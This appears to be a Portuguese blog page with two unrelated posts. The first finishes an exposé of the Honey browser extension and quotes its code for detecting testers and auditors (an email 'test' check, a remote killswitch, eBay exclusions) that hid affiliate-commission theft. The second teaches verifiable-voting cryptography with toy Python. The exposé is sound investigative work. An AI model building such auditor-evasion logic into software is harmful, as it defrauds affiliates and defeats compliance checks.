O Edelman é categórico sobre o que isso significa: não existe nenhuma razão legítima pra uma extensão de cupons verificar se você logou num painel de afiliados. A única função é se esconder de quem fiscaliza. E quem se esconde sabe que está fazendo algo proibido.

Os outros truques: email “test”, killswitch e eBay

Tem mais duas pérolas no código. A extensão escaneia seu endereço de email procurando a palavra “test”. Achou, modo compliance:

if (r.email && r.email.match("test") && (o.bl = 0), !r.isLoggedIn || t) {

E existe um killswitch mestre no servidor: a extensão consulta periodicamente uma URL, e dependendo da resposta o sistema SSD inteiro liga ou desliga:

return e.next = 7, fetch("".concat("https://s.joinhoney.com", "/ck/alive"));

c = S().then((function(e) {
    e && "alive" === e.is && (o.bl = 0)
}))

Um flip no servidor e 14 milhões de extensões entram em modo compliance instantaneamente. Útil, por exemplo, no dia em que uma auditoria grande for anunciada.

E o eBay? O eBay tem tratamento VIP, direto no código: enquanto o stand down normal dura uma hora, o do eBay dura 86.400 segundos (24 horas), e a lógica SSD é explicitamente desativada pra domínios eBay:

"regex": "^https?\\:\\/\\/rover\\.ebay((?![\\?\\&]pub=5575133559).)*$",
"provider": "LS",
"overrideBl": true,
"ttl": 86400

a = "ssd" === r && !/ebay/.test(p);

Por quê? Porque em 2008 o eBay processou civil e criminalmente seus dois maiores afiliados, Shawn Hogan e Brian Dunning, que receberam mais de $20 milhões em 18 meses com esquemas de cookie stuffing, e os dois foram presos. O próprio Edelman ajudou a pegá-los. O Honey sabia exatamente com quem não devia brincar. Todo o resto do mercado, aparentemente, era presa fácil.

A telemetria: a prova que se autodocumenta

A parte que me deixou de queixo caído: desde o primeiro dia, o defeat device (o “dispositivo de fraude”, no jargão do Dieselgate) registrava cada decisão que tomava. Quando a extensão decide respeitar o stand down, ela manda telemetria com "method":"suspend" e um state dizendo exatamente qual regra disparou, "uP:5001", "gca", "ssd", junto com o link de afiliado original, que frequentemente contém o ID e às vezes o nome do afiliado prejudicado.

Em algum lugar nos servidores do PayPal existe um registro detalhado de cada comissão que esse sistema ajudou a roubar. O MegaLag fecha o quarto vídeo pedindo que as redes exijam esses dados e cobrem o reembolso. É difícil discordar.

Como o MegaLag provou na extensão pública

Um detalhe de engenharia que merece respeito. Depois do primeiro vídeo, o PayPal subiu o limiar base pra 65.000 pontos, na prática desativando o mecanismo pra quase todo mundo e limitando o comportamento suspeito. Só que quem editou o ssd.json esqueceu a exceção da Rakuten: "LS": {"uP": 5001}.

O MegaLag fez o que ele chama de “uma maratona de compras dolorosamente cara” até passar de 5.000 pontos e reproduziu a fraude na extensão pública, intacta, sem modificar uma linha. (O Edelman fez mais simples: interceptou a resposta do servidor com o Fiddler e mentiu o próprio saldo de pontos. O código dele está no artigo linkado acima.)

A reescrita do PayPal

A genealogia do sistema, reconstruída pelo MegaLag com ~300 builds arquivados da extensão desde 2014:

• Outubro de 2017: o SSD aparece pela primeira vez, na versão 10.5.2, ainda sob os fundadores Ryan Hudson e George Ruan, mas criptografado, embaralhado, ilegível pra quem encontrasse. O pesquisador Wladimir Palant já tinha documentado em 2020 que o Honey escondia trechos do próprio código.
• Março de 2021: sob o PayPal, versão 13.1.0, o sistema inteiro foi reconstruído. As regras foram reestruturadas num formato novo e passaram a morar em texto claro nos servidores do PayPal. Foi essa reescrita descuidada que expôs tudo.

Guarde essa informação e compare com a declaração oficial do PayPal depois que a casa caiu:

“O código causador desse comportamento foi identificado e não tem mais impacto. O código foi implementado antes da aquisição pelo PayPal e aparentemente afeta menos de 0,1% do tráfego do Honey.”

— PayPal ao Hello Partner, janeiro de 2026

O MegaLag chama isso do que é: mentira. Você não reconstrói um sistema do zero, ajusta as regras dele ano após ano, e depois alega que não sabia que ele existia.

A cronologia entrega: o MegaLag avisou o PayPal pedindo comentário em 18 de dezembro de 2025; chamaram as acusações de “imprecisas” e mandaram os advogados ameaçarem ele. A Rakuten desligou o Honey da rede em 12 de janeiro de 2026. O defeat device foi desativado em 13 de janeiro, um dia depois, quase um mês após o aviso. E o “0,1% do tráfego” é retórica vazia: as regras moram no servidor, então a abrangência sempre foi ajustável remotamente. Nas regras de 2023, o alvo era praticamente todo mundo.

As consequências

Depois do Cookie Gate, a fila andou:

• Rakuten Advertising (12 de janeiro de 2026): terminou o Honey da rede inteira, mais de 2.000 lojas, incluindo Walmart, Lego, Sephora, Newegg, Uniqlo e Samsung. Detalhe sórdido: emails internos que vieram a público no processo mostram que a Rakuten sabia das violações de stand down desde julho de 2020 e manteve o Honey mesmo assim, e o PayPal ainda respondeu que as políticas de stand down eram “exagero”. Em maio de 2026 a Rakuten readmitiu o Honey discretamente, depois de publicar um SDK de stand down de código aberto que o Honey implementou.
• Impact (16 de janeiro): removeu o Honey do marketplace de descoberta e suspendeu a conta, confirmando violação das “exigências universais de stand down”.
• Awin (21 de janeiro): a maior rede afetada, com mais de 16.000 lojistas. Confirmou “violações das nossas políticas de publisher”, suspendeu pagamentos e impôs um plano de remediação que inclui dar às redes acesso ao código-fonte do Honey.
• Google: em março de 2025 a Chrome Web Store passou a exigir “benefício direto e transparente ao usuário” pra qualquer extensão que injete links de afiliado. O jeitinho do Honey foi ativar cashback de 0,1% a 1% em quase todas as lojas parceiras. Tecnicamente um benefício, na prática troco de bala.
• O mercado respondeu: o Honey perdeu cerca de 7 milhões de usuários (de 20 milhões pra 14), mais de 7.000 lojas (de ~35.000 pra ~28.000), e a base de cupons encolheu de ~90.000 pra ~50.000 códigos. A Apple, que sozinha gerava mais tráfego monetizável que as 27.000 menores lojas juntas, caiu fora.

A ação coletiva

Aqui o Davi encontra o Golias no tribunal. Dias depois do primeiro vídeo, em 29 de dezembro de 2024, a Wendover Productions (do Sam Denby) entrou com a primeira ação; o Devin Stone, do LegalEagle, que é advogado de verdade, organizou o esforço, e umas vinte firmas abriram ações parecidas em vários estados, incluindo o GamersNexus como autor principal de uma delas. Os casos foram consolidados no distrito norte da Califórnia: In re PayPal Honey Browser Extension Litigation, caso 5:24-cv-09470-BLF, juíza Beth Labson Freeman.

As acusações na petição atual: enriquecimento sem causa, interferência intencional em relações contratuais e em vantagem econômica prospectiva, violação do Computer Fraud and Abuse Act (a lei anti-hacking americana), da lei de acesso indevido a dados da Califórnia, e das leis de concorrência desleal da Califórnia e de Washington.

A cronologia processual é uma novela:

• Novembro de 2025: o PayPal tentou forçar arbitragem e perdeu. Semanas depois, a juíza Freeman rejeitou a primeira petição, com permissão pra emendar, porque os contratos de afiliado eram com as lojas, não com o PayPal, e a simulação de Monte Carlo que os autores usaram pra estimar o dano não convenceu. O Ryan Hudson tuitou “Case dismissed” fazendo graça. O Hello Partner, publicação da indústria que tinha o Honey como patrocinador master da conferência deles, correu pra publicar “o que o MegaLag errou”.
• Janeiro de 2026: a segunda petição chegou com 101 páginas, dez autores nomeados, os contratos reais das lojas, evidência de compras-teste e, crucialmente, as descobertas do Cookie Gate incorporadas. A página 65 descreve o dispositivo de fraude em detalhe: “o PayPal criou vários métodos pra ignorar ou contornar os protocolos de stand down”, incluindo a detecção de visita a sites de redes de afiliados, que a petição chama de “a revelação mais gritante da má intenção do PayPal”.
• 4 de junho de 2026: segunda audiência. A juíza avisou o advogado do PayPal, Richard Jacobson, o mesmo que assinou a notificação extrajudicial contra o MegaLag, que ele tinha “uma batalha difícil pela frente”. Quando a defesa argumentou que IDs de afiliado são “só sequências curtas de números e letras”, sem valor intrínseco, a juíza respondeu que dá pra dizer o mesmo de uma nota de dólar. Jacobson: “não sei como responder a isso.”
• 22 de junho de 2026: o pedido de extinção foi negado integralmente. Todas as acusações sobreviveram. O caso agora entra na fase de produção de provas (o discovery americano): documentos internos, comunicações, depoimentos, possivelmente dos fundadores e dos engenheiros do PayPal. Julgamento, se houver, lá pro fim de 2027. O palpite do MegaLag, e o meu também: o PayPal vai tentar acordo pra enterrar esses depoimentos.

Vale registrar: uma ação paralela de consumidores do Reino Unido, sobre a propaganda enganosa de “melhores cupons”, foi rejeitada em junho de 2026. E a Capital One Shopping, processada por esquema parecido, fechou acordo em setembro de 2025 negando culpa.

Conclusão

O que me pega nessa história toda é o padrão de comportamento do PayPal em cada etapa. Acusado com vídeo e demonstração ao vivo, chamou de fake news. Confrontado com o código, mandou notificação extrajudicial e tentou derrubar o vídeo do Patreon alegando violação de direitos autorais. Alertado formalmente sobre o dispositivo de fraude, chamou de “impreciso” e esperou a Rakuten agir pra desligar. Pego, divulgou que “descobriu recentemente” um sistema que a própria empresa reconstruiu em 2021.

Em cada degrau, a escolha foi negar, ameaçar, minimizar, até a evidência tornar a posição insustentável; aí recuava meio passo fingindo surpresa.

O Honey, como produto, é causa perdida. Mesmo se você não liga pra ética de quem rouba comissão de criador, lembra do que a Amazon avisou lá em 2020: é uma extensão com permissão de ler e modificar seus dados em qualquer site, que escaneia seus cookies, loga seu histórico de navegação com geolocalização, e que aplicava cupom sabidamente expirado só pra fazer volume. Desinstala. Não existe cupom que pague isso.

E o lado inspirador, porque tem um: um desenvolvedor neozelandês motivado, com um analisador de pacotes, uma conta de teste e paciência, fez o que redes bilionárias com times de compliance não fizeram em oito anos. A arma dele foi um arquivo JSON em texto claro e algumas dezenas de linhas de JavaScript que o próprio PayPal serviu pra quem quisesse olhar. A frase que fecha o quarto vídeo resume a arrogância que ele derrubou:

“Quando eu erro, sou o MegaLag. Quando eu acerto, sou só um comentarista da indústria.”

Pois agora ele é testemunha técnica de fato num processo federal. Davi venceu essa rodada. E foi lindo de assistir.

Recentemente o TSE fez um teatrinho: “abriu a urna” pra técnicos da Sociedade Brasileira de Computação verem os componentes. Isso é obviamente inútil. Mostrar placa-mãe, processador e memória não prova que não existe malware. Hardware é só o palco; a peça acontece no software. E auditar o software é justamente o que é difícil, restrito, cheio de ritual e janela curta — o que derrota completamente o propósito de transparência pública. Uma auditoria que só meia dúzia de credenciados consegue fazer, sob supervisão, por alguns dias, não é transparência. É encenação.

E pra deixar claro: eu não defendo o sistema atual, nem tenho expectativa nenhuma nele. Como resumi neste tweet: a urna é só uma caixa, um PC velho. Mesmo que o software fosse perfeito, não faria diferença — os processos ao redor continuam secretos, feitos debaixo dos panos. A urna é cortina de fumaça. Com ou sem alternativa, eu não ligo pra ela.

Muita gente conclui daí que o certo seria ter eleição digital, mas com um sistema diferente. Esse artigo é um exercício de ciência da computação: como seria um sistema hipoteticamente perfeito? E, mais importante, a conclusão final: por que mesmo esse sistema perfeito não seria uma opção viável.

Uma coisa que vale enfatizar antes de começar: o sistema que vou descrever não exigiria nenhum segredo do governo. Nenhum componente secreto, nenhum processo secreto, nenhuma sala trancada com credenciado vigiando. Tudo — o código, os dados, a estrutura inteira — poderia ser 100% aberto, acessível pra qualquer pessoa, sem restrição nenhuma. E ainda assim seria possível provar, matematicamente, que fraudar é impossível. É exatamente o oposto do modelo atual, em que a confiança nasce do sigilo.

Sem paciência pra código e matemática no meio do caminho? Pule direto pra parte em que explico por que isso não funcionaria. E no fim do artigo, três apêndices: o sistema atual é auditável?, como dar incentivo pra quem verifica o voto e por que “conhecimento zero” é tão difícil de engolir.

“A urna é segura porque não está na internet”

Todo defensor do sistema atual saca esse argumento mais cedo ou mais tarde: a urna não está conectada à internet, logo não pode ser hackeada de fora. Tecnicamente é verdade. E é completamente irrelevante.

Primeiro, porque isolamento não diz nada sobre o que o software faz. Uma urna offline pode trocar votos do mesmo jeito — você só não tem como assistir ela fazendo isso. E malware não precisa de rede pra chegar: pode vir de fábrica, numa atualização, na cadeia de suprimentos, de um técnico com acesso físico. O Stuxnet, o worm mais famoso da história, atravessou o air gap das centrífugas iranianas via pendrive. Air gap é obstáculo, não é prova de honestidade. E repare: o dado da urna precisa sair dela de algum jeito no fim do dia, em mídia física transportada ou transmissão posterior. “Não está na internet” é uma meia-verdade logística.

Segundo, e mais importante: esse argumento revela o modelo mental errado. A segurança do sistema atual nasce de custódia física — lacres, salas trancadas, credenciados, rituais. Ou seja, mais uma vez, de confiar em gente e em processo que você não vê.

No sistema que vou descrever, a urna poderia estar ligada direto na internet, publicando cada voto na árvore pública em tempo real, e ainda assim seria impossível fraudar. Não porque a rede seja segura, mas porque ninguém precisa confiar na urna:

• O que ela publica são compromissos opacos: mesmo transmitindo tudo ao vivo, não existe voto pra vazar nos dados publicados.
• Cada compromisso carrega uma prova matemática de validade: a urna não consegue inventar voto inválido.
• A árvore é pública e replicada por observadores independentes: nada do que foi publicado pode ser alterado depois sem quebrar os hashes.
• E se a urna trocar seu voto na hora, o desafio de Benaloh pega (é a Peça 4, mais adiante): ela não sabe se você vai confirmar ou auditar.

Estar ou não na internet deixa de ser a questão. A segurança não mora na ausência de rede; mora na verificação pública. “Confie, a máquina está trancada numa sala” vira “não confie em nada, confira a matemática”. Essa inversão é a única coisa que o modelo atual não consegue oferecer.

O tweet que inspirou este post

Recentemente eu postei este tweet sobre verificabilidade ponta a ponta (E2E-V, end-to-end verifiability). O resumo da ideia:

1. Cada eleitor recebe um recibo em papel com um identificador único — um hash — que não identifica a pessoa nem o voto.
2. Os votos de cada urna entram numa estrutura pública onde só se acrescenta, nunca se apaga (append-only): uma Merkle tree (o mesmo princípio de uma blockchain).
3. Essa árvore é publicada na íntegra. Qualquer cidadão baixa e verifica.
4. Verificabilidade individual: cada eleitor checa se o seu hash está lá, sem intermediário.
5. Verificabilidade universal: qualquer um refaz a conta da árvore e confere se ela produz o total anunciado.

Eu deixei explícito no tweet: isso não é uma solução, é uma ideia de guardanapo. O conceito existe, é matematicamente sólido e não é novidade pra ninguém de ciência da computação. Mas a reação foi interessante.

O problema do voto de cabresto

Boa parte dos comentários travou no mesmo ponto: o voto de cabresto. No Brasil isso é prática histórica: o coronel compra o voto do eleitor pobre e exige prova de que ele votou “direito”. Antigamente era a cédula pré-marcada; hoje seria a foto da tela da urna (por isso celular é proibido na cabine).

E aí surge a aparente contradição:

• Se o recibo que o eleitor leva pra casa revela pra quem ele votou, ele pode ser coagido ou vendido.
• Se o recibo não revela pra quem ele votou, como o eleitor confere que o voto dele foi pro candidato certo?

Recentemente postei a resposta, ainda que só de passagem: prova de conhecimento zero (zero-knowledge proof, ZK). O mesmo princípio por trás de criptomoedas verdadeiramente anônimas como Monero e Zcash.

O fluxo seria assim: o eleitor escolhe o candidato na tela; a urna gera um número aleatório secreto, computa ciphertext = Enc(chave_publica_da_eleicao, voto; aleatorio), gera uma prova ZK de que esse ciphertext contém um voto válido, e publica tudo numa Merkle tree pública. O eleitor leva pra casa só um número de série. O serial não contém o voto, mas permite provar que o voto existe na árvore e não foi adulterado.

Agora vamos destrinchar isso pra programador, passo a passo, com valores reais — e no final eu explico por que isso, mesmo funcionando perfeitamente, não resolveria nada.

Peça 1: hash como compromisso

A fundação de tudo é a função de hash. Uma função como SHA-256 pega qualquer entrada e produz 32 bytes aparentemente aleatórios. Três propriedades importam aqui:

• Determinística: mesma entrada, mesma saída. Sempre.
• Unidirecional: dado o hash, não dá pra voltar à entrada.
• Avalanche: mudar um bit da entrada muda o hash inteiro.

import hashlib

def commit(voto, nonce):
    return hashlib.sha256(f"{voto}:{nonce}".encode()).hexdigest()

commit('Candidato A', 987654321) = 337051f1dbc6a8ef412ecc14067c263d6a0dc83dada6939b51d74b6651727b69
commit('Candidato A', 123456789) = 55512bcd60924abf68d162f1a130023635089974db08ea9cff691e1f209898ab
commit('Candidato B', 987654321) = faf54e90eb84ba4c0446701c3779a382e48d02847bd2301f3836f673c54f9693

Olhe com atenção. O primeiro e o segundo hash escondem o mesmo voto — o que muda é o nonce, um número aleatório que serve de “embalagem”. O primeiro e o terceiro têm o mesmo nonce, mas votos diferentes. Os três hashes não têm nenhuma semelhança visível entre si.

Isso é um compromisso (commitment): eu publico o hash hoje, e amanhã posso revelar (voto, nonce) e qualquer um confere que o hash bate. Eu não consigo mudar o voto depois de publicado (propriedade binding), e ninguém consegue descobrir o voto antes da revelação (propriedade hiding).

Só que tem um problema pra nossa eleição: se o eleitor leva pra casa o voto e o nonce, ele pode mostrar os dois pro coagidor, que verifica o hash e confirma o voto. Cabresto de volta. Precisamos de algo melhor.

Peça 2: compromissos Pedersen — esconder de verdade

O compromisso de Pedersen resolve isso com aritmética modular. Vou usar números de brinquedo pra você poder conferir na mão; sistemas reais usam primos de 2048 bits ou curvas elípticas, mas a matemática é idêntica.

Pegue um primo p = 23 e dois geradores g = 4 e h = 8 (ambos geram um subgrupo de ordem 11 módulo 23 — confira: 4^11 mod 23 = 1 e 8^11 mod 23 = 1). O compromisso de um voto v com nonce n é:

C = g^v * h^n  (mod p)

p, q, g, h = 23, 11, 4, 8

def pedersen(v, n):
    return (pow(g, v, p) * pow(h, n, p)) % p

C(voto=1, n=3)  = 1
C(voto=1, n=9)  = 13
C(voto=0, n=3)  = 6

Mesmo voto, nonces diferentes, compromissos completamente diferentes. O Pedersen tem uma propriedade chamada ocultação perfeita (perfectly hiding): para qualquer compromisso C, existe um nonce que abre C como voto 0, e existe um nonce que abre C como voto 1. Com nosso primo de brinquedo dá pra provar por força bruta:

C = 1  # o compromisso de cima, C(voto=1, n=3)

for n in range(11):
    if pedersen(0, n) == C:
        print(f"C abre como voto=0 com nonce {n}")
    if pedersen(1, n) == C:
        print(f"C abre como voto=1 com nonce {n}")

C=1 abre como voto=0 com nonce 0
C=1 abre como voto=1 com nonce 3

Leia de novo, porque este é o coração do artigo. O compromisso C = 1 é compatível com as duas histórias. Quem vê só o C não tem como saber qual é a verdadeira — nem por força bruta, nem com computador quântico, porque ambas as aberturas existem matematicamente. O valor C simplesmente não contém a informação do voto.

“Mas espera”, você diz, “então o eleitor pode trocar de voto depois?”. Não, e essa é a outra metade da propriedade: o compromisso é computacionalmente vinculante (computationally binding). Quem gerou o compromisso com (voto=1, n=3) só consegue revelar a outra abertura (voto=0, n=0) se conseguir calcular logaritmo discreto — ou seja, descobrir x tal que g^x = h mod p. Com p = 23 é trivial; com 2048 bits, é computacionalmente impossível. Resumo:

• Quem olha de fora não descobre o voto (ocultação).
• Quem gerou não consegue mudar o voto depois (vinculação).

E o detalhe final que mata o cabresto: quem gera o nonce é a urna, não o eleitor. O eleitor vê seu voto na tela, a urna faz o compromisso internamente, descarta o nonce e imprime só o C — o serial. O eleitor sai da cabine sem ter como abrir o próprio compromisso, nem que queira.

(Um detalhe de implementação que vou simplificar daqui pra frente: o Pedersen esconde tão bem que ninguém consegue decriptá-lo — nem as autoridades na hora de apurar. Na prática, a urna publica junto um ciphertext ElGamal do mesmo voto: igualmente opaco pra quem olha de fora, mas decriptável pelas autoridades na apuração, com uma prova ZK de que os dois carregam o mesmo voto. Nosso Pedersen de brinquedo faz o papel dos dois neste artigo, pra manter a matemática com números pequenos.)

Peça 3: a Merkle tree — a urna que qualquer um audita

Onde ficam esses compromissos? Numa estrutura pública que qualquer pessoa pode baixar e verificar: uma Merkle tree. Se você assistiu meu vídeo sobre criptografia na prática — certificados, BitTorrent, Git, Bitcoin, já viu essa estrutura em ação: é a mesma que escala o BitTorrent, organiza os commits do Git e as transações de um bloco de Bitcoin.

A construção é simples: cada folha é o hash de um voto (o compromisso C de um eleitor), e cada nó interno é o hash da concatenação dos dois filhos, até sobrar um único hash no topo: a raiz.

def H(x):
    return hashlib.sha256(x.encode()).hexdigest()

eleitores = [(1, 3), (0, 7), (1, 2), (1, 10), (0, 5), (1, 1), (0, 8), (1, 4)]
leaves = [H(f"{i}:{pedersen(v, n)}") for i, (v, n) in enumerate(eleitores)]

Com os 8 votos de exemplo, as folhas ficam assim (hashes abreviados):

eleitor 0: voto=1 nonce=3  -> C=1  -> folha=ef134f2a180ba05d...
eleitor 1: voto=0 nonce=7  -> C=12 -> folha=ce356d2f943ea5af...
eleitor 2: voto=1 nonce=2  -> C=3  -> folha=8e0375adfc1f4563...
eleitor 3: voto=1 nonce=10 -> C=12 -> folha=df284a49f837c454...
eleitor 4: voto=0 nonce=5  -> C=16 -> folha=fd6df9e3530cb74f...
eleitor 5: voto=1 nonce=1  -> C=9  -> folha=e0e9d38f9ccb7a41...
eleitor 6: voto=0 nonce=8  -> C=4  -> folha=e719f7fde83fafda...
eleitor 7: voto=1 nonce=4  -> C=8  -> folha=1393ac80e69a8991...

RAIZ PUBLICA: 48826b6481b574e37156f85e34d877105bc55073fb5a5b981239572a8e7c4b61

(Os votos e nonces da tabela aparecem abertos só pra você conferir a conta; na árvore pública existem apenas as folhas — hashes opacos.)

A raiz é o “resumo” da eleição inteira: 32 bytes que representam todos os votos. Se um único bit de um único voto mudar, a raiz muda completamente. Publica-se a raiz e a árvore inteira. Qualquer cidadão, em casa, com código aberto, refaz a árvore e confere se a raiz publicada bate. Isso é a verificabilidade universal.

Pra verificação individual, suponha que você é o eleitor 4. Seu recibo é o serial — a folha fd6df9e3530cb74f1f0795b751a43454cab281a431d0558b413e33bba83a4100, que é o hash do seu compromisso C = 16 na posição 4 da árvore. Pra provar que ele está na árvore, você não precisa baixar e conferir todos os 8 votos — precisa de apenas log2(8) = 3 hashes, o caminho dos “irmãos” até a raiz:

def merkle_verify(leaf, proof, root):
    cur = leaf
    for h_, side in proof:
        cur = H(h_ + cur) if side == "esq" else H(cur + h_)
    return cur == root

prova do eleitor 4:
  (dir) e0e9d38f9ccb7a41...  (irmão: folha do eleitor 5)
  (dir) 3149c3bf17d98fbc...  (irmão: nó dos eleitores 6-7)
  (esq) 3b902c849a40619b...  (irmão: nó dos eleitores 0-3)

verificação local: True
tentando folha adulterada: False

Você pega seu serial, concatena com os 3 hashes da prova na ordem certa, hasheia três vezes e confere se chegou na raiz pública. Se chegou, é matematicamente impossível que seu voto não esteja na árvore — porque produzir uma prova falsa exigiria encontrar uma colisão no SHA-256, e ninguém no planeta sabe fazer isso. Se alguém trocar seu voto depois, sua prova deixa de funcionar e você tem a evidência da fraude na mão. Numa eleição real com 150 milhões de votos, a prova teria uns 28 hashes — cabe num recibo de papel ou num QR code.

Repare no que acabou de acontecer: você provou que uma informação está na árvore pública e que ninguém mexeu nela, carregando pra casa apenas um número de 32 bytes que, sozinho, não diz absolutamente nada sobre o conteúdo. É isso que as pessoas querem dizer com “zero knowledge” nesse contexto: a verificação acontece sem que o conhecimento (o voto) precise circular.

Peça 4: o desafio de Benaloh — conferindo a urna na hora

Sobrou um ponto cego. A urna mostra na tela “voto registrado” e imprime seu serial C. Em casa, você confere que C está na árvore. Tudo certo? Nem tanto. E se a urna tiver mentido e comprometido outro voto? Na tela ela mostra o candidato que você escolheu, mas por dentro calcula o compromisso de outro. Você jamais perceberia, porque o compromisso é opaco por design. É a propriedade de ocultação trabalhando contra você.

A solução clássica é do criptógrafo Josh Benaloh, e ficou conhecida como desafio de Benaloh (ou cast-or-challenge). A ideia: depois que a urna mostra o compromisso C na tela, mas antes de você confirmar, existem duas opções:

• Confirmar: o voto vale, entra na árvore e o nonce é descartado pra sempre.
• Desafiar: você declara aquela cédula um voto de teste. A urna é obrigada a revelar o nonce e o voto que ela pôs dentro do compromisso, e você refaz a conta na hora — num app independente, no seu próprio celular, não no software da urna:

# a urna mostrou na tela: C = 1
# você desafiou; a urna revela: voto=1, nonce=3
pedersen(1, 3) == 1   # True -> a urna comprometeu exatamente o que você escolheu

Se bate, a urna foi honesta naquela cédula. A cédula de teste é anulada, não entra na apuração — o nonce revelado a tornaria legível — e você vota de novo, agora pra valer.

Agora suponha uma urna adulterada, que troca uma fração dos votos. Você escolhe voto=1; ela registra por dentro voto=0 e mostra C = 12 na tela (pedersen(0, 7) = 12). Se você confirmar, a fraude passa batida. Mas se você desafiar, a urna está encurralada: precisa revelar um par (voto, nonce) que abra C = 12. O único que ela conhece é (0, 7) — e revelar isso expõe a troca na sua frente: “eu votei 1!”. Abrir como voto=1 exigiria achar um nonce n com pedersen(1, n) = 12, que é o problema do logaritmo discreto de novo. Com nosso primo de brinquedo dá pra achar por força bruta (existe: n = 10), mas com primos de 2048 bits a urna trapaceira simplesmente não consegue produzir a resposta.

E o que fecha a armadilha: a urna não sabe de antemão se você vai confirmar ou desafiar. A decisão é sua, tomada depois que o compromisso já foi mostrado. Se uma parcela dos eleitores testa algumas cédulas antes de votar pra valer, uma urna que adultera votos em escala é pega com probabilidade esmagadora. Sistemas reais de votação verificável, como o Helios e o ElectionGuard, usam exatamente esse mecanismo.

E note que isso não fere o sigilo de nada: o nonce revelado é de uma cédula anulada, que não conta. O voto que vale continua com o nonce descartado e o compromisso impenetrável.

Peça 5: prova de conhecimento zero de verdade — Schnorr

Falta mais uma peça. Quem garante que cada compromisso na árvore contém um voto válido — e não, digamos, voto = 500, que inflaria o resultado? A urna precisa provar que o compromisso abre pra um valor legítimo sem abrir o compromisso. Isso é uma prova de conhecimento zero no sentido estrito.

O exemplo canônico, e que dá pra demonstrar com números pequenos, é o protocolo de Schnorr: provar que você conhece um segredo s tal que y = g^s mod p, sem revelar s. A intuição antes da matemática: é a caverna de Ali Babá. A caverna tem duas passagens que se encontram numa porta trancada. Você prova que tem a chave entrando por um lado e saindo pelo que o verificador pedir — sem nunca mostrar a chave. Se não tivesse a chave, você só acertaria o pedido por sorte, 50% das vezes; depois de 20 rodadas, a chance de enganar é menor que uma em um milhão.

A versão matemática, com nossos números de brinquedo (p = 23, g = 4, ordem q = 11):

segredo = 7
y = pow(g, segredo, p)   # y = 4^7 mod 23 = 8  (valor público)

# 1. compromisso: o provador escolhe r aleatório e envia t
r = 3
t = pow(g, r, p)          # t = 4^3 mod 23 = 18

# 2. desafio: o verificador escolhe c aleatório
c = 5

# 3. resposta: o provador calcula z
z = (r + c * segredo) % q  # z = (3 + 5*7) mod 11 = 5

# verificação: g^z == t * y^c (mod p)
esq = pow(g, z, p)                 # 4^5 mod 23 = 12
dir = (t * pow(y, c, p)) % p       # 18 * 8^5 mod 23 = 12
print(esq == dir)                  # True

Funciona porque g^z = g^(r + c·s) = g^r · (g^s)^c = t · y^c. A álgebra fecha. Agora observe o que o verificador viu: os números t, c, z e a conferência final. Em nenhum momento o segredo s = 7 apareceu. E um impostor que não sabe s não consegue responder a um desafio arbitrário: se ele chutar z = 2, o verificador calcula g^2 = 16 ≠ 12 e a fraude aparece.

E por que o verificador aprende nada sobre s, e não apenas “pouco”? Porque a conversa inteira poderia ter sido fabricada por alguém que não sabe o segredo, nesta ordem invertida:

# simulador: escolhe c e z PRIMEIRO, depois calcula t que fecha a equação
c_sim, z_sim = 5, 9
t_sim = (pow(g, z_sim, p) * pow(y, -c_sim % q, p)) % p  # t = 8

# conferência do transcrito forjado:
pow(g, z_sim, p)              # 4^9 mod 23 = 13
(t_sim * pow(y, c_sim, p)) % p  # 8 * 8^5 mod 23 = 13  -> bate!

O transcrito forjado (t=8, c=5, z=9) passa na verificação e é indistinguível de um transcrito real. Se qualquer um consegue fabricar uma conversa válida sem saber o segredo, então a conversa real não pode conter informação nenhuma sobre o segredo. É isso que “conhecimento zero” significa formalmente. (Pra usar fora de um laboratório, o desafio c é derivado por hash do compromisso — a transformação Fiat-Shamir — e a prova vira um objeto único, não-interativo, que qualquer um verifica offline.)

Na nossa eleição hipotética, a urna publica junto com cada voto uma prova desse tipo — na prática, uma variante em disjunção (“o voto é 0 ou é 1”, sem dizer qual) — e qualquer auditor verifica que todo voto na árvore é válido, sem nunca ver voto nenhum.

Peça 6: quem impede os votos fantasmas?

Resta um furo, e é um dos favoritos de quem desconfia de eleição digital: o que impede a autoridade de enfiar votos inventados na árvore? Cada compromisso na Merkle tree carrega uma prova ZK de que contém um voto válido — mas a prova só garante que o valor é 0 ou 1. Mil votos fantasmas seriam mil compromissos perfeitamente válidos, com provas perfeitamente corretas. A árvore é pública, qualquer um pode contar as folhas… mas quem garante que deveriam ser 8 e não 8 mil?

A primeira resposta é a replicação. A árvore segue o modelo das transparency logs — o mesmo Certificate Transparency que protege os certificados HTTPS que você usa o dia inteiro: um publicador escreve, e dezenas de observadores independentes (partidos, OAB, universidades, imprensa, você) copiam a árvore, assinam a raiz e conferem entre si. Reescrever o histórico exigiria convencer todos eles a aceitar uma raiz diferente da que já assinaram.

Isso protege o que já foi publicado. Mas e a criação de votos fantasmas? Aí entra a peça mais elegante de todas, e ela é do mesmo David Chaum que inventou o dinheiro digital e as mix-nets: a assinatura cega (blind signature, 1982).

O fluxo: você se autentica na mesa como hoje — documento, biometria. Na cabine, a urna calcula seu compromisso (Peça 2), mas antes de publicá-lo precisa de uma credencial da mesa. Ela cega o compromisso com um fator aleatório e manda pra mesa só o valor cego — e aqui estar online não é problema nenhum, como vimos na seção do air gap. A mesa, que já registrou sua autenticação, assina uma única vez, sem ver o conteúdo. A urna descega a assinatura e publica o par (compromisso, assinatura). No fim, a mesa não faz ideia de qual compromisso assinou — logo, não consegue vincular sua identidade ao seu voto. Com RSA de brinquedo, dá pra ver a mágica acontecendo:

# RSA de brinquedo da mesa: n=3233, e=17 (público), d=2753 (privado)
n, e, d = 3233, 17, 2753
C = 16        # seu compromisso Pedersen, o mesmo da Peça 3

# 1. a urna cega o compromisso com um fator aleatório r
r = 7
cego = (C * pow(r, e, n)) % n       # 2341 -> só isso vai pra mesa

# 2. a mesa, que já registrou sua autenticação, assina o valor CEGO
ass_cego = pow(cego, d, n) % n      # 216

# 3. a urna remove o fator cego e publica (C, s) na árvore
s = (ass_cego * pow(r, -1, n)) % n  # 2802

# qualquer auditor verifica: s^e mod n == C ?
print(pow(s, e, n))   # 16 -> o compromisso, com assinatura válida!

Repare: a mesa só viu o número 2341, que pra ela é ruído. Ela assinou 216 sem saber que estava assinando o seu C = 16. Mesmo assim, o par (C, s) passa na verificação de qualquer auditor. É uma assinatura digital normal — s é exatamente C^d mod n — só que produzida sem que o signatário visse o documento. Parece truque de mágico, mas é só álgebra do RSA: cegar multiplica por r^e; assinar eleva tudo a d, e como e·d ≡ 1, sobra C^d · r; descegar divide por r e resta C^d.

